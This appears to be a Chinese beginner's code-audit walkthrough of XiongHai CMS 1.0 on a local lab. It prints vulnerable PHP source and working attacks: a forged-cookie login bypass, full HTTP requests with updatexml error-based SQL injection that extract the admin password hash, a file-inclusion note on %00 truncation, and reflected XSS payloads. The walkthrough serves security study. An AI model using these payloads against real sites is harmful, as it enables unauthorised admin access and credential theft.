目录

一、环境搭建

二、代码审计

(1)后台存在登录绕过漏洞

(2)登录后台user处存在SQL注入

(3)前(后)台文件包含漏洞

(4)后台SQL注入

1、admin/files/editcolumn

2、admin/files/editlink.php

3、admin/files/editsoft.php与admin/files/editwz.php

4、and '1'='1闭合构造SQL注入

(5)前台xss漏洞

1、/files/contact.php

2、/files/content.php


这个应该是比较简单的php代码审计了,适合新手

一、环境搭建

cms下载地址:

https://down.chinaz.com/soft/36930.htm

然后phpstudy环境搭建,php版本要小于7,之后要自己新建一个数据库

访问

http://localhost/xhcms1.0/install/index.php

二、代码审计

在cnvd里面看到有很多漏洞,一个个尝试吧

(1)后台存在登录绕过漏洞

提示我们可以通过伪造cookie绕过登录检测,代码位于inc\checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>

如果cookie里面的user为空就转到登录页面,那我们可以给user赋值来绕过

直接访问admin/页面

直接进入到了网站后台。

(2)登录后台user处存在SQL注入

代码位于admin\files\login.php

<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('1');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
//echo $passwords;
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('2');history.back();</Script>";
exit;   }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

这里没有对user进行过滤,直接拼接到了SQL语句里面,所以我们可以构造一下报错注入

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,(select concat(0x7e,password) from manage),1)#&password=123&login=yes

可以在源码里发现后面有个md5加密,所以储存的密码应该是32位,不符合。

用mid打印出完整的

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,concat(0x7e,mid((select password from manage),2,33)),1)#&password=123&login=yes

md5解密

可以得知admin密码为admin

(3)前(后)台文件包含漏洞

前台漏洞代码位于:index.php,后台漏洞代码位于:admin\index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

get方式获取r,然后经过addslashes函数处理,之后判断,再然后拼接读取

如果php版本小于等于5.3.4可以使用%00截断实现任意文件读取,但如果高了就只能进行php文件读取

(4)后台SQL注入

1、admin/files/editcolumn

$id=$_GET['id'];
$type=$_GET['type'];if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

很明显的SQL注入漏洞

http://localhost/xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

2、admin/files/editlink.php

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);

几乎一模一样

3、admin/files/editsoft.php与admin/files/editwz.php

也是一样的

4、and '1'='1闭合构造SQL注入

POST /xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1 HTTP/1.1
Host: 192.168.10.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111save=1&name=a' or updatexml(1,concat(0x7e,version()),1) and '1'='1&keywords=b&description=c&xs=d&px=e&content=f

还有很多类似的,像manageinfo.php里面也有

(5)前台xss漏洞

1、/files/contact.php

/index.php?r=contact&page=<script>alert(1)</script>
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>

没有过滤直接拼接

2、/files/content.php

差不多的,id

"><script>alert(1)</script>

熊海cms1.0代码审计相关推荐

  1. 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞

    前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...

  2. 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)

    目录 前言 一.环境 1.用到的工具 2.搭建环境 二.审计 1.文件包含 (1)index.php (2)admin/index.php 2.SQL注入 (1)admin/files/adset.p ...

  3. 三、熊海CMS_v1.0-[Seay源代码审计]-[漏洞编码12人工审计]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.熊海CMS_v1.0网站目录结构 二.Seay代码审计系统漏洞报告 三.漏洞1&2分析: 1./in ...

  4. 熊海博客php版本,熊海CMS xhcms v1.0代码审计

    有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...

  5. 熊海CMS 1.0代码审计漏洞集合

    目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...

  6. PHP代码审计demo之熊海cms

    实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址: 点击进项目地址 php漏洞的利用依赖 ...

  7. 适合入门代码审计之熊海cms

    一.前言 简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门. 二.审计环境 使用小皮面板,新建网站 三.审计过程 先了解文件目录 admin --管理后台文件夹 css --存放c ...

  8. 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...

    xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明:  熊海CMS是由熊海 ...

  9. 智能车竞赛技术报告 | 智能视觉组 - 哈尔滨工程大学 - 济海追风0队

    简 介: 本文主要介绍了第十六届智能车竞赛智能视觉组的相关设计思想.此车系统由i.mx8处理器为上位机,RT1064为下位机.通过摄像头传感器检测赛道.使用光电编码器采集车轮速度.结合车模赛道物理模型 ...

最新文章

  1. 华为防火墙的技术积累
  2. dev layoutview 怎么显示大小_「转」磁盘满了,为啥du却显示还有很大空间?
  3. 洛谷 P1356 数列的整数性 解题报告
  4. linux相关操作命令
  5. 网站域名安全:泛解析处理及防护
  6. “缺少winload.efi”的解决办法“:Windows Boot Manager更改读取启动信息路径
  7. 什么是WBS分解法?
  8. 使用电信光猫+华为路由器实现内网穿透,外网访问内网 之 光猫超级管理员密码获取并设置桥接模式
  9. uikit框架_UIkit框架的口哨之旅
  10. 用计算机观察声音的波形,用计算机观察声音的波形
  11. 批量处理:读取文件夹,将json文件转化为txt文件
  12. 网络数据保障ptop_网络影响未来十大预言
  13. gdal调用capi处理乱码问题(c#)
  14. Blob如何在html里转换成图片,前端图片canvas,file,blob,DataURL等格式转换
  15. 有时候人们用四位数字表示一个时间,比如 1106 表示 11 点零 6 分。现在,你的程序要根据起始时间和流逝的时间计算出终止时间。 读入两个数字,第一个数字以这样的四位数字表示当前时间,第二个数字
  16. Java跨年祝福语代码_跨年祝福语大全
  17. c语言 遍历文件夹中所有文件名,C# 遍历文件夹下所有子文件夹中的文件,得到文件名...
  18. QT项目移植后报错:无法打开包括文件: “ui_xxx.h”
  19. Java计算出生一万天的纪念日期(错误演示,未解决)-----已经解决(原因计算long型数字未加L)
  20. Spyder无法断点debug问题解决方式

热门文章

  1. 《农业信息化导论》期末复习
  2. Socket配置参数
  3. 如何将QQ聊天记录保存或导入到新安装的QQ里面!
  4. FPGA(VHDL)语音识别
  5. 苹果官网产品展示特效
  6. matlab-结构单元(元胞)
  7. noxctf2018_grocery_listactf_2019_message
  8. 本周AI热点回顾:Python 4.0可能不会来了;“最强Linux桌面版”竟然是Windows?
  9. AngularJS 核心概览
  10. AGV小车基础知识介绍